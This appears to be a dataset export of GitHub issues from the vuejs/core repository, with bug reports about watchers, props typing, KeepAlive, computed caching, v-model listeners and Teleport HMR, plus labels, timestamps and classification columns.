https://play.vuejs.org/#eNp9VE1z2jAQ/SsaXTATxjBtTxSYpmkO7aHNNJnpRRcjFqLEljzSCugw/u9dSTbYNJMTaN/bt98+8du6zvce+JwvnLSqRuYAfb0SWlW1schO7FCgfGYN21pTsRGRR597qIXtABNaaGm0IyG/rhTeGa+RLQMvm40v6NbYqjWfhGYsWEGjm7P4ZAyqQpVzhtZDMDRCNz137+DW/dXyW4EFyWRjtlwlzzY4FuhdG2CkNiWMoneHwxGkRxi6stYt3xelD9ioBr1ReherCril5ljNNBzYA5WsHGQWnCn3xF6F1j2pCozHbKAa/CIpGxVrGRJJ1utozksJzlG0Fr90MJFubhLUTNiH2Ww2jkrUmfDTpjYoZNK2MhXbtfF6RBS6387sakp/wvzBEituQhZkgj2KpzqTTt7GycYRajPZANSDMUb5i9RAYdiRZa8nvWitcC+3vC6ogpR4ByWRvNurPO4TFbEtSkep/K9BM/JVFOnSXEzTTdA10AOhqssCgV6MLdYe0Wj2RZZKvi4Fv26B4KvHaFpMEzWKkGO4rRA6oQgbdjoNbqVpGNIWucieBvpi2ovNJxwdVbVVu/zFGU2nGxsiuDRVrUqwv2pUVLXg51sSvChLc/gRbWEU7WKQzzPI1zfsL+4YbII/UFvA7kHwM4aF3QEm+P7xJxzp/xmszMaXxH4H/B2OwYccE+2r13SftseL2X6Pnxi6vid3f0TQrivqvEuRLzh9du7eKf2S7sf8U3cDvPkH4QCoUg==

### Steps to reproduce

Click on the button, observe how form watcher triggers the `execute()` method twice even though it is paused, form update takes place, and only then the watcher is resumed. Is this the expected behaviour?

### What is expected?

Form watcher triggered once.

### What is actually happening?

Form watcher triggered twice.

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-13 14:10:57+00:00,2025-02-13 14:41:39+00:00,4,nan,0.0213,watch is executed twice even though it s paused vue version latest link to click on the button observe how form watcher triggers the method twice even though it is paused form update takes place and only then the watcher is resumed is this the expected behaviour what is expected form watcher triggered once what is actually happening form watcher triggered twice system info any additional comments no response,others,-0.296
vuejs/core,2850469466,"Type-only props are unable to infer primitive runtime prop types from generic types, which breaks boolean casting","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVE1vEzEQ/SuWhRBIVVYCTmG7CFBBcIAKInHxZbOZpC5e2/JHmird/96x197dtGnTk8cz742fZ8be089az7Ye6JyWtjFcO2LBeV0xyVutjCNfVavJ2qiWMDorwi7gGWWSybLoOYjGjYNWi9oB7ggpr95VC+OhLNCIjphIG95yx7dAbkytNazy+h0kGN4QL7mS6PYyA4oh37da2IcJQ7QsJkfTM+pso+Sab2bXVkm82T7AGW0QzwWY39rhGZbROYmREKuFUDc/o8+h6rPsb66g+X/Ef213wcfopQELZosFGWKuNhtwffji7y/YoT0EW7XyAtHPBP+AVcIHjT3si5crlD3BRbU/Yn+43Czsxc6BtPlSQWhAdhHPKLYrlOqpq49y388+RB6THVYxt3oyGqKWm3NkYIJhTNytBvLvoInloiLnZEHuiL1tl0qgIX27xCscoBGzVEpALY8hmcQmWocTo7RF6ArWXMJl2JVR+zBKn+Y5z8fgT3OD3nTO1JsUjsEsOWWoIngYPsQ9EIbGeFhHXvd1TFN7cGZXvXmLy3NvxIu4oiV4sib3wh7t++vPxmfTYXcioxgoU3LSPaHmZ/QyYirHY35+nyfSpEJM+PlBnyQ+lj7+ASfIyHjVz8kx4NKkP+QpuyxiIw6/ke4elrixhQ==

### Steps to reproduce

Our specific issue is that when the runtime prop type missing, the [Boolean Casting](https://vuejs.org/guide/components/props.html#boolean-casting) doesn't work as expected. 

1. Define a generic type like:
```ts
type Wrapped<T> = T | number | string:
```
2. Create a component with type-only props, that uses the type:
```vue
<script lang=""ts"" setup>
const props = defineProps<{
  wrapped?: Wrapped<boolean>;
}>();
</script>
```
3. Try to use the boolean prop:
```vue
<template>
  <Comp wrapped /> <!-- component acts like `wrapped` is undefined -->
</template>
```
4. => The component acts like `wrapped` is undefined`
5. => See output, runtime-prop is missing:
> const __sfc__ = /*@__PURE__*/_defineComponent({
>   __nam... [TRUNCATED]","scope: compiler,scope: sfc,:hammer: p3-minor-bug",2025-02-13 09:27:09+00:00,2025-08-21 01:48:41+00:00,3,"scope: compiler,scope: sfc,:hammer: p3-minor-bug",188.6816,type only props are unable to infer primitive runtime prop types from generic types which breaks boolean casting vue version link to our specific issue is that when the runtime prop type missing the boolean casting doesn t work as expected define a generic type like create a component with type only props that uses the type try to use the boolean prop the component acts like is undefined see output runtime prop is missing const sfc pure definecomponent nam truncated,bug,0.4019
vuejs/core,2848892460,Property 'onInputClick' does not exist on type `{ $props: DatePickerProps & VNodeProps }`,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/~/github.com/martinszeltins/template-ref-test

### Steps to reproduce

I wanted to use `useTemplateRef` on a component instance but I am getting this type error:

````
app.vue:18:85 - error TS2339: Property 'onInputClick' does not exist on type '{ $props: DatePickerProps & VNodeProps & AllowedComponentProps & ComponentCustomProps; $slots: DatePickerSlots; $emit: ((e: ""update:modelValue"", value: Date | ... 3 more ... | undefined) => void) & ... 11 more ... & ((e: ""keydown"", event: Event) => void); }'.

18  console.log('datePickerEl.value.onInputClick', toRaw(datePickerEl.value.onInputClick)) // ƒ onInputClick()
````

What is interesting is that the function `onInputClick` actually does exist on the Date Picker and it works too. But my IDE and type checker throws an error. I also tried to use `ComponentPublicInstance` but that didn't work either.

**app.vue**

```vue
<template>
    <div>
        <DatePicker ref=""datePickerEl"" v-model=""date"" />
        <button @click=""showDatePicker"">Show Datepicker!</button>
    </div>
</template>

<script setup lang=""ts"">
    import DatePicker from 'primevue/datepicker'

    const date = ref()

    const datePickerEl = useTemplateRef('datePickerEl')
    // const datePickerEl = useTemplateRef<ComponentPublicInstance<typeof DatePicker>>('datePickerEl')

    const showDatePicker = () => {
        if (datePickerEl.value) {
            console.log('datePickerEl.value.... [TRUNCATED]",,2025-02-12 17:14:25+00:00,2025-02-13 01:11:49+00:00,2,nan,0.3315,property oninputclick does not exist on type vue version link to i wanted to use on a component instance but i am getting this type error what is interesting is that the function actually does exist on the date picker and it works too but my ide and type checker throws an error i also tried to use but that didn t work either app vue vue show datepicker import datepicker from primevue datepicker const date ref const datepickerel usetemplateref datepickerel const datepickerel usetemplateref datepickerel const showdatepicker if datepickerel value console log datepickerel value truncated,others,0.1901
vuejs/core,2846396038,KeepAlive + Transition + v-if 同时使用时会导致时会导致内存泄漏的问题依然存在,"### Vue version

3.5.13

### Link to minimal reproduction

无

### Steps to reproduce



<!-- Uploading ""图片.png""... -->

与问题 [KeepAlive + Transition + v-if 同时使用时会导致时会导致内存泄漏的2个bug #10620 #10620](https://github.com/vuejs/core/issues/10620) 一致

### What is expected?

回收掉销毁的页面

### What is actually happening?

没回收掉 

![Image](https://github.com/user-attachments/assets/388aa260-1da3-478d-90b9-6ad025abcaaa)

### System Info

```shell
""vue"": ""^3.5.13"",
        ""vue-i18n"": ""9.2.2"",
        ""vue-jsonp"": ""2.0.0"",
        ""vue-router"": ""^4.3.0"",

浏览器 Google Chrome 133.0.6943.59
```

### Any additional comments?

_No response_","scope: transition,scope: keep-alive,:exclamation: p4-important",2025-02-11 20:05:09+00:00,2025-02-12 07:30:09+00:00,3,"scope: transition,scope: keep-alive,:exclamation: p4-important",0.4757,keepalive transition v if vue version link to keepalive transition v if bug what is expected what is actually happening image system info any additional comments no response,others,-0.6369
vuejs/core,2846341903,Accept undefined as prop when exactOptionalPropertyTypes is enabled in tsconfig,"### Vue version

3.5.12

### Link to minimal reproduction

https://github.com/amritk/vue-exact-optional-property-types

### Steps to reproduce

Create a component like so
```vue
<script setup lang=""ts"">
const { hello = 'world' } = defineProps<{ hello?: string }>()
</script>
<template>
  <div>
    <p>{{ hello }}</p>
  </div>
</template>
```

enable `exactOptionalProperties` in tsconfig

### What is expected?

You should be able to pass undefined into the prop as you can in [typescript](https://www.typescriptlang.org/play/?exactOptionalPropertyTypes=true#code/MYewdgzgLgBFCm0YF4YAoAW8A22QC4ZoAnASzAHMUYByAdxGOwBMaBKFAPhgG8BYAFABIUJBDZ4AOjwVMOPG0EBfQQmhpFAtVDQBXMM3gAzcvGZsgA)
```ts
const test = (hello: string = 'world') => {
	console.log(hello)
}

test()
test(undefined)
```

### What is actually happening?

![Image](https://github.com/user-attachments/assets/a211cf12-ec41-4134-b72c-2180e24e19e8)
It gives an error saying undefined is not assignable to string. However we have a default set so it will end up being a string.

```zsh
src/App.vue:6:4 - error TS2379: Argument of type '{ msg: undefined; }' is not assignable to parameter of type '{ readonly msg?: string; } & VNodeProps & AllowedComponentProps & ComponentCustomProps & Record<string, unknown>' with 'exactOptionalPropertyTypes: true'. Consider adding 'undefined' to the types of the target's properties.
  Type '{ msg: undefined; }' is not assignable to type '{ readonly msg?: string; }' with 'exactOptionalPropertyTypes: true'. ... [TRUNCATED]",scope: types,2025-02-11 19:39:37+00:00,2025-02-13 02:42:03+00:00,2,scope: types,1.2934,accept undefined as prop when exactoptionalpropertytypes is enabled in tsconfig vue version link to create a component like so enable in tsconfig what is expected you should be able to pass undefined into the prop as you can in typescript what is actually happening image it gives an error saying undefined is not assignable to string however we have a default set so it will end up being a string zsh src app vue error ts argument of type msg undefined is not assignable to parameter of type readonly msg string vnodeprops allowedcomponentprops componentcustomprops record with exactoptionalpropertytypes true consider adding undefined to the types of the target s properties type msg undefined is not assignable to type readonly msg string with exactoptionalpropertytypes true truncated,others,0.5106
vuejs/core,2846021140,"When no dependencies are passed in, computed does not use the cache.","### Vue version

3.5

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUctOwzAQ/JWVL0nVKgjBqWorAeoBDoCAoy9Wug0pjm35ESpF+XfWjhJaCRA3a2Z2PLPbsRtjijYgW7KVK21tPDj0wWy4qhujrYcOLIrS1y0uSt2Y4HEHPeytbiCjwYyrUitHY154hPWkzjuuAMQSLrnqZ2equ9FnDaNlns9gvYE0E5VaYiF1lWcio1kgVx+sOvUaFWeORStkQFIktBDz+X/Eq4uhOpVeeWyMJBG9ASI1AWzBvCOzfV0VB6cVrSzF5SyWqCXaJ+Nr+oyz5VAkckJK/fmQMG8DLka8fMfy4wf84I4R4+zZokPbImcT54Wt0A/09vURj/SeyEbvgiT1H+QL0iJCzDjIboPaUewTXUp7nw5fq+rNbY8elRtLxaBR2Sc9Z3T+uMvfqn/HvSqu0xxdj/Vfdv/Vcg==

### Steps to reproduce

``` vue
<script setup>
import { reactive,computed } from 'vue'
const state = reactive({
  a: 1
})
const stateComputed = computed(() => {
  console.log('a')
  return 1
})
console.log(stateComputed.value)
state.a++
console.log(stateComputed.value)
</script>
```

### What is expected?

print a 1 1

### What is actually happening?

print a 1 a 1

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-02-11 17:20:15+00:00,2025-02-12 02:14:44+00:00,1,nan,0.3712,when no dependencies are passed in computed does not use the cache vue version link to what is expected print a what is actually happening print a a system info any additional comments no response,others,-0.5267
vuejs/core,2844983896,Wrong value type in initial render bacause of attribute reflection from vue custom element,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq9VF1v2jAU/Su31qQkUgaC7YkRtLXiYXvopnVv86RCuIG0iW3ZDqNC+e+7sQOkrJT2pS+Q63N87re37ItSvXWFbMTGJtW5smDQVmrCRV4qqS1sQWMGNWRalhAQNfjUwVYnkQVmucCrylhZTgssUdhHXC64SKUwFq5kqQaQPHUj3HIBoLRUZgTuG2A9Kyokq44b2/9qFAvUYbTjaMpBC1iFwSJfBzHctpfebe0qNz1n1THYB+UP6V9m0MFuI8qF1Lmoo8eRDl8fqbegdff7uirnqGO4sToXyxgupSxwJv64TJzPN0srz8KLtJuG6S3RhkH58N6isUHUuj7i+PwPtNj3kCRJ+azq8IWyw1Z3uNP1TRCufNQFmstwEMUwp/q1ptUVEtsTrVwuCySECphMvEcKra2Kl/F1gSRJIPAnQXQEQTCgYQXAwuAxNGiAxv/+5OJguajHfb9WtFBkWCxVMbNIFsC4zRNGjp5w5tU5g/4JQiP+DOyc/4cPzzroMM4pdF04yryyVgr4nBZ5ek8EX3XOJv6Dxn/rBnJfcqjrcd/fIo1xv1MTFjNrqHlZvuzdGSnoVXJd4yylOcgL1N+Vzam5nO3XirNZUci/39xZ0/92jejOCtP7J87vzKY54+yHRoN6TcHuMTvTNKoent5c44a+92ApF1WT2jPgTzSyqJoYPe2yEgsKu8Nz0X51ryRt/y8z3VgUZpdUE+hh/zmjl7JZgVOpH8L90Pu422xW/wN8IPde

### Steps to reproduce

- Observe the initial render result in preview, we can see for number value and boolean `true`, they are actuall strings

![Image](https://github.com/user-attachments/assets/c2a9d8c9-9541-4f9f-b7b7-6798d410344d)

- click toggle for several times, we can see later results are correct

### What is expected?

value type should be as it is

### What is actually happening?

I know if I use `type: Number` for props, vue will transform them into number, but if it's a mixed types(or no type definition) like below, vue will not do the transform, that is useful if we want to use the props as they actually are
```js
props: {
  value: {},
},
p... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-02-11 10:37:07+00:00,2025-05-22 00:38:29+00:00,0,":hammer: p3-minor-bug,scope: custom elements",99.5843,wrong value type in initial render bacause of attribute reflection from vue custom element vue version link to observe the initial render result in preview we can see for number value and boolean they are actuall strings image click toggle for several times we can see later results are correct what is expected value type should be as it is what is actually happening i know if i use for props vue will transform them into number but if it s a mixed types or no type definition like below vue will not do the transform that is useful if we want to use the props as they actually are js props value p truncated,bug,0.8807
vuejs/core,2844936055,useTemplateRef warning appears after rollup packaging,"### Version
3.5.13

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-ul5tjt9k?file=src%2Fmain.js,src%2FApp.vue,rollup.config.js,package.json,index.html,vite.config.js&terminal=dev)







### Steps to reproduce
When the useTemplateRef argument has the same name as the variable that received it, a console warning appears after using rollup

### What is expected?
No warnings

### What is actually happening?
[Vue warn] Set operation on key ""value"" failed: target is readonly.

<!-- generated by vue-issues. DO NOT REMOVE -->",":lady_beetle:  bug,has workaround,:hammer: p3-minor-bug",2025-02-11 10:17:09+00:00,2025-08-21 00:46:11+00:00,16,":lady_beetle:  bug,has workaround,:hammer: p3-minor-bug",190.6035,usetemplateref warning appears after rollup packaging version stackblitz com when the usetemplateref argument has the same name as the variable that received it a console warning appears after using rollup what is expected no warnings what is actually happening vue warn set operation on key value failed target is readonly,bug,-0.9001
vuejs/core,2843746458,warnRecursiveComputed no longer works,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-exn7drue?file=src%2FApp.vue

### Steps to reproduce

1. Set the `app.config.warnRecursiveComputed` flag to true
2. Create a computed that mutates its dependencies
3. Use that computed in the template

### What is expected?

Vue should log a warning because the computed is still dirty after being evaluated

### What is actually happening?

No warning is logged

### System Info

```shell

```

### Any additional comments?

The warning is mentioned in #10341, and the config option is added in 23953dd795c71ea074f348a775d2242314d8ea99.

It seems that much of the code for computed refs was moved into a separate function, [`refreshComputed`](https://github.com/vuejs/core/blob/2ab70c2/packages/reactivity/src/effect.ts#L364), at which point the functionality was lost.

I got a minimal patch working by duplicating the initial dirty check into the `finally` block after `cleanupDeps`, though I'm not certain if that's the right place for it:
```ts
    activeSub = prevSub
    shouldTrack = prevShouldTrack
    cleanupDeps(computed)

    if (
      computed._warnRecursive &&
      !computed.isSSR &&
      computed.deps &&
      isDirty(computed)
    ) {
      console.warn(""O no"", computed.fn)
    }

    computed.flags &= ~EffectFlags.RUNNING
```

In an ideal scenario the warning would be able to specify exactly which dependencies caused the computed to be dirty, but that might be too complex.
",:hammer: p3-minor-bug,2025-02-10 21:46:39+00:00,2025-05-18 08:00:06+00:00,2,:hammer: p3-minor-bug,96.426,warnrecursivecomputed no longer works vue version link to set the flag to true create a computed that mutates its dependencies use that computed in the template what is expected vue should log a warning because the computed is still dirty after being evaluated what is actually happening no warning is logged system info any additional comments the warning is mentioned in and the config option is added in dd c ea f a d d ea it seems that much of the code for computed refs was moved into a separate function at which point the functionality was lost i got a minimal patch working by duplicating the initial dirty check into the block after though i m not certain if that s the right place for it in an ideal scenario the warning would be able to specify exactly which dependencies caused the computed to be dirty but that might be too complex,bug,-0.8484
vuejs/core,2843236791,Allow <keep-alive> to act like v-show,"### What problem does this feature solve?
In a single page app.
Trying to use <keep-alive> to keep a <router-view> alive that displays long lists of items has a lower performance than manually handling the component visibility with `v-show`.

Currently, using <keep-alive> in combination with <router-view> causes the UI to freeze as it still re-renders the list items when switching between routes. (Yes, it was implemented correctly as shown [here](https://router.vuejs.org/guide/advanced/router-view-slot))

Having a way for the <keep-alive> component to simply hide the kept alive components the same way that `v-show` does would allow me to use the it in combination with <router-view> and keep the same performance improvements I currently have with v-show.

### What does the proposed API look like?
A component prop like `<keep-alive strategy=""[some strategy option]"">` would be perfect.

Not sure of the option names, but something that would allow us to decide between the ""classic"" keep alive strategy and the `v-show` strategy.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-02-10 18:06:37+00:00,2025-02-11 00:33:40+00:00,1,nan,0.2688,allow to act like v show what problem does this feature solve in a single page app trying to use to keep a alive that displays long lists of items has a lower performance than manually handling the component visibility with currently using in combination with causes the ui to freeze as it still re renders the list items when switching between routes yes it was implemented correctly as shown here having a way for the component to simply hide the kept alive components the same way that does would allow me to use the it in combination with and keep the same performance improvements i currently have with v show what does the proposed api look like a component prop like would be perfect not sure of the option names but something that would allow us to decide between the classic keep alive strategy and the strategy,others,0.927
vuejs/core,2841546387,Vue context not available when using vnode - `_ctx.$t is not a function`,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/~/github.com/martinszeltins/vue-vnode-context

### Steps to reproduce

I created my component using vnode `h` function from Vue. I passed this component to my toast notification. Everything seems to work, except that I cannot access any Vue context inside my component. I am getting this error:

````
Uncaught (in promise) TypeError: _ctx.$t is not a function
    at Proxy._sfc_render (AppNotification.vue:5:80)
    at renderComponentRoot (chunk-7VTXWSWY.js?v=c9665c21:8581:17)
    at ReactiveEffect.componentUpdateFn [as fn] (chunk-7VTXWSWY.js?v=c9665c21:7403:46)
    at ReactiveEffect.run (chunk-7VTXWSWY.js?v=c9665c21:481:19)
    at setupRenderEffect (chunk-7VTXWSWY.js?v=c9665c21:7538:5)
    at mountComponent (chunk-7VTXWSWY.js?v=c9665c21:7313:7)
    at processComponent (chunk-7VTXWSWY.js?v=c9665c21:7266:9)
    at patch (chunk-7VTXWSWY.js?v=c9665c21:6782:11)
    at mountChildren (chunk-7VTXWSWY.js?v=c9665c21:7014:7)
    at mountElement (chunk-7VTXWSWY.js?v=c9665c21:6937:7)
````

**App.vue**

```vue
<template>
    <div @click=""showNotification"" style=""cursor: pointer; font-size: 40px; font-weight: bold"">
        {{ $t('click_me') }}
    </div>
</template>

<script setup lang=""ts"">
    import { h } from 'vue'
    import { toast } from 'vue3-toastify'
    import AppNotification from './components/AppNotification.vue'

    const showNotification = () => {
        const vnode = h(AppNotification)
        ... [TRUNCATED]",,2025-02-10 07:16:08+00:00,2025-02-10 07:34:46+00:00,1,nan,0.0129,vue context not available when using vnode vue version link to i created my component using vnode function from vue i passed this component to my toast notification everything seems to work except that i cannot access any vue context inside my component i am getting this error app vue vue t click me import h from vue import toast from vue toastify import appnotification from components appnotification vue const shownotification const vnode h appnotification truncated,others,-0.3612
vuejs/core,2841057911,Memory leak from orphaned listeners in v-model directive,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VNtu2zAM/RVWL06B1EGX7iVIs7VDgWXYpdhW7MXA4Fi0rVaWDF2cBEH+fZScW9eiT7bJc8ijQ8obdtO2aeeRTdjUFka0Diw6384yJZpWGwcbMFjCFkqjG0gImmQqU4VW1kFjK7gO+UHyGaXU8Ecbyc+S8wNAe+WQ70DOeKRUpkYjcJoaIWjT1rkihBTWoUJj+0bdRaM5yknEXqZQ6cAIRbVEyBWHCl0oigZVgSEpVOsdoMQGlYu82SwyQpAUcF34kEqJedejbtdzPkh2lOQciNPkTwjWG4S19lDnHXV73sfVuO8yhIXRSxtU58QovVJrsLpBJxq0UcO7FLwlHpFC345YXw9Hvbmf743AkLHgBHnx3xle8AYoo1ZDkzLK0rPQhoMud1UicZxCa9BayJhXcQ69QxmjJzzM99V722ytveSg9BIWCBwvDFahnUE+JIkkoUYDS+Hq46RihasUjFevnC2vctGPmpoEL60TUsaxPa8QNJQRYbDRHR5LtEa3aOR6SBnrJR2AyirApnVr0ItHLBxoRfbRlHmUMeBUgiZucof25XIN7Dnt33TUbzrtOH04KicJTl8A0/pyttnEvd5upyP6itHeo+5ClNcZ2+00+bhb0hCzVfCV0+t+eAxGPXnhnSOVHwspiqcjnzby7FAqNt3FP0DycDqwBCaQfDv9DtL6qtRhOjo5ARsyZ8mNUlTpo9WKrvUmiMhYoZtWSDQ/WifIoYxNIGZCLqeru/wSY+GKDvfxosbi6ZX4o12FWMbuaS5oOszYIedyQyPu03e/vuOK3g9JsstLQr+R/Il0w33Q2MNuveIk+wQX1c7jz0mo6re9W9Fs7f5QQWhAbiM+Y/TD+vTG0Y9yx+lV5GVqSy7+7WgBCU0GjtP36eWYbf8BWqPGGg==

### Steps to reproduce

the linked Vue SFC Playground shows a minimal setup. To reproduce:

1. go to browser console and get reference to input element
> const el = document.getElementById('element') // make sure you have a reference to the element, browsers are funny sometimes
2. use the getEventListeners API to see events tied element
> getEventListeners(el) // returns record of events
3. press ""unmount input"" in UI
- input should now be de-registered, together with listeners
4. run getEventListeners... [TRUNCATED]",,2025-02-10 00:29:51+00:00,2025-02-10 00:53:34+00:00,1,nan,0.0165,memory leak from orphaned listeners in v model directive vue version link to the linked vue sfc playground shows a minimal setup to reproduce go to browser console and get reference to input element const el document getelementbyid element make sure you have a reference to the element browsers are funny sometimes use the geteventlisteners api to see events tied element geteventlisteners el returns record of events press unmount input in ui input should now be de registered together with listeners run geteventlisteners truncated,others,0.4215
vuejs/core,2839456954,Vue onBeforeUpdate run after  DOM update,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v2zAM/SucgCEuYNgZtl3SJNga9LABW4d93HxxbNpWo0iGJKcpAv/3UVLsfGDLyRb5SD4+kgf2uW2TXYdsxuam0Ly1YNB27TKTfNsqbeEAGqsYSqy4xJUio0RpY1Dym+qkxTKGBnqotNrChDJNxshVw0V5dCSpf7lSBMhkoaSxwM2qwWKDJSxclajKhcG7k38lONV6kuKVAFcMokMmIZCNWq1aExNVI5Sln9xabaC/A48BCNm2ge9VLecfe4miO1gsKdERm+xy0SFFWE2f/gjXVFRLOGKDDYBXEF2EUfkB6nkl1EHeCUtxfQjynz7OpMs8T8MASHp6WNy2IrdIL4D5SQj/Jsu6s1ZJ+FQIXmwWGTuX8s34yNjycDiTue/naYgc8oQhGfsqkLK88NI2M3g3nb69hwZ53dgZfJy2+3tY58Wm1tRfOYM1dZcxSAO59ILdPD2jzmJmDalf8Tp5NkrSmnm9MlbQHLlA/dRaTtPJ2GxQMmO5EOrlq7c53UmfYC9cF/+wP5u9s2Xsh0aDekfcRp/NdY02uB9/fcc9/Y/OrSo7Qegbzp9olOgcxwB7IAGI9hnOs/3iV57L+rd53FuUZmjKER2m7NB0AG6F/9f6ie775IOPo+UgFcfruXWoSj5gpTT+aUuSP3ZrfnWZl4hh210ddyJKYCJUHU06757QUt5czMtR938B15Zysg==

### Steps to reproduce

- click the button
- observe the console log

### What is expected?

Child.vue should not be updated

### What is actually happening?

Child.vue should be updated

### Any additional comments?

Discussed in https://github.com/orgs/vuejs/discussions/12770",:hammer: p3-minor-bug,2025-02-08 03:35:48+00:00,2026-02-09 08:08:41+00:00,0,:hammer: p3-minor-bug,366.1895,vue onbeforeupdate run after dom update vue version link to click the button observe the console log what is expected child vue should not be updated what is actually happening child vue should be updated any additional comments discussed in,bug,0.0
vuejs/core,2838269669,[BUG]: `withDefaults` Fails When Using Function Declarations With Props,"### Vue version

3.4.15

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUslOwzAQ/ZWRL7RSlVDBKaStWCWQgAo4+pKmkzYlsS3b6aIq/87YaUKRgN7secs8z3jPrpUK1hWyiMUm1bmyYNBWCopELEacWcPZmIu8VFJbuJWlgkzLEs6C0F2c9OyKizhsxESli8VSFYlFugHEXhTNEk12Q84gpHIcHnHYgNqkUmT5IlgZKSjL3ik5S0maF6hflc2loCgReMRhSVHIzZOvWV3hoK2nS0w/f6mvzNbVOJtqNKjXyFmH2UQv0Dbw/fsLbuncgaWcVwWx/wHf0Miichkb2k0l5hT7iOfTPvop5mLxYe63FoVpH+WCOmbt+ZzRVN3U/nr6d9yL4NLruKhpiu1GTizT7hTC826qpTIwamwzKScRiKqcoaZ9AtC+jgvUgQvakbGgDrpNbpd3mCVVYU1vjlku0FvGB+txrz/ozCPoeV0fRuP2IZqyadH4BdQPJhM4982bOVDppIysnWzYyer+ie+4HI4fXJ79/siiruOQgJZw4zp3BBetI/z8ufUXUsMTpg==

### Steps to reproduce

Change the default props factories to use object function declaration syntax and notice the output vanishing due to the error thrown.

### Working code

```ts
const props = withDefaults(defineProps<MyProps>(), {
  foo: (props) => {
    return props.bar ?? 0;
  },
  bar: (props) => {
    return props.foo ?? 0;
  },
});
```

### Breaking code

```ts
const props = withDefaults(defineProps<MyProps>(), {
  foo(props) {
    return props.bar ?? 0;
  },
  bar(props) {
    return props.foo ?? 0;
  },
});
````

### What is expected?

Default prop value resolution with props arg to work as usual irrespective of the function syntax used.

### What is actually happening?

Default prop value resolution with props arg is not working when using the object function syntax, it only works when arrow function syntax is used.

### System Info

```shell
System:
  OS: Linux... [TRUNCATED]","scope: sfc,has workaround,:hammer: p3-minor-bug",2025-02-07 14:13:50+00:00,2026-02-09 08:06:24+00:00,0,"scope: sfc,has workaround,:hammer: p3-minor-bug",366.7448,bug fails when using function declarations with props vue version link to change the default props factories to use object function declaration syntax and notice the output vanishing due to the error thrown working code breaking code what is expected default prop value resolution with props arg to work as usual irrespective of the function syntax used what is actually happening default prop value resolution with props arg is not working when using the object function syntax it only works when arrow function syntax is used system info shell system os linux truncated,bug,-0.6124
vuejs/core,2835870047,defineModel has wrong type when used with `@update:model-value` event,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUslu20AM/RViLpYBQ3I3FHBlo1sOLdAFbXobIFYlSlE6mlFncRy4+veSo1o1iiZBLgKHfKQeH99BvOr7dBdQrETuStv2Hhz60IMqdLOWwjspNlK3XW+shwNYrGGA2poOZtQ2m0pvTNf/yacZP3gqlaXOMthWhccttA6K0odCqRvYvqUU/IKgK6xbjdUWvgcP/hItMlAb8Dc9AlprrNR10KVvjQajv/U8jdsTDlbA4RwOUgOURjujMFWmSWan0NkCOJwzoUHqPBuXpdXo4bHrFVXpBZDHTV6G2LriD8lwOkoKyAiZZ1ObWJBO9Ou6bdIrZzSJGdlIUdKsVqH91DN50nI18uQayWCu38ectwEXx3x5ieWP/+Sv3J5zUny26NDuiMhU84Vt0I/ls68fcU/xVOxMFRSh7yh+QZItMMcR9prOQrRPcJHtu3jrVjfn7mzvUbvjUkyUkUPES0G3ZxlvW/0v3Sfp09hHVyEVj765x418ZQ/EHFV00RpGD33gTM6pTTLjc9HV4z8t/gytxWoFdaEcMR2iEWj2eduhCT5J5rDejOBpbrorVODpGq+jyRLqGhbwbLmcv3hI/+Tx2P7oYjkOuMOE/9rrYoeWxSZhSLH08XMx/AaVXUHO

### Steps to reproduce

- Run the playground
- Check the console
- The `onUpdateDate` method is called twice, the first time with a `Date` the second time with `undefined`. The typescript types don’t reflect this behaviour

### What is expected?

The types should indicate that the event payload can be `Date | undefined`

### What is actually happening?

The event payload is typed as `Date`

### System Info

```shell

```

### Any additional comments?

Types as they show up in my IDE (VS Code):

- `const modelDate: ModelRef<Date | undefined, string, Date | undefined, Date | undefined>`
- `(property) ""onUpdate:date""?: ((date: Date) => any) | undefined`

Please note that the SFC Playground (at least for me) doese not show the types correctly for some reason","scope: types,language-tools",2025-02-06 15:37:27+00:00,2025-02-19 05:53:29+00:00,8,"scope: types,language-tools",12.5945,definemodel has wrong type when used with event vue version link to run the playground check the console the method is called twice the first time with a the second time with the typescript types don t reflect this behaviour what is expected the types should indicate that the event payload can be what is actually happening the event payload is typed as system info any additional comments types as they show up in my ide vs code please note that the sfc playground at least for me doese not show the types correctly for some reason,others,-0.2023
vuejs/core,2835859526,[Teleport] - Updating component inside Teleport causes HMR to crash,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-grzg8vpe?file=src%2FApp.vue

### Steps to reproduce

In App.vue update the slot content to anything else.
Also happens if you change the ""Modal.vue"", as an example change the class ""modal__dialogs"" to ""modal_potatos"".

In the browser's console it shows:
TypeError: Cannot set properties of null (setting '__vnode')


It's related to reactivity inside the component Modal.vue, in the computed ""modalClasses"", remove the reference to the ref ""isVisible"" and the error will not happen, or if the value of ""isVisible"" is set as ""true"" (line 16).

// Not sure if the title is accurate

### What is expected?

I expect the modal component's hot reload to work normally. 

### What is actually happening?

Hot reload stops working after the error, need to refresh the page.

### System Info

```shell
Using the stackblitz stack.

```

### Any additional comments?

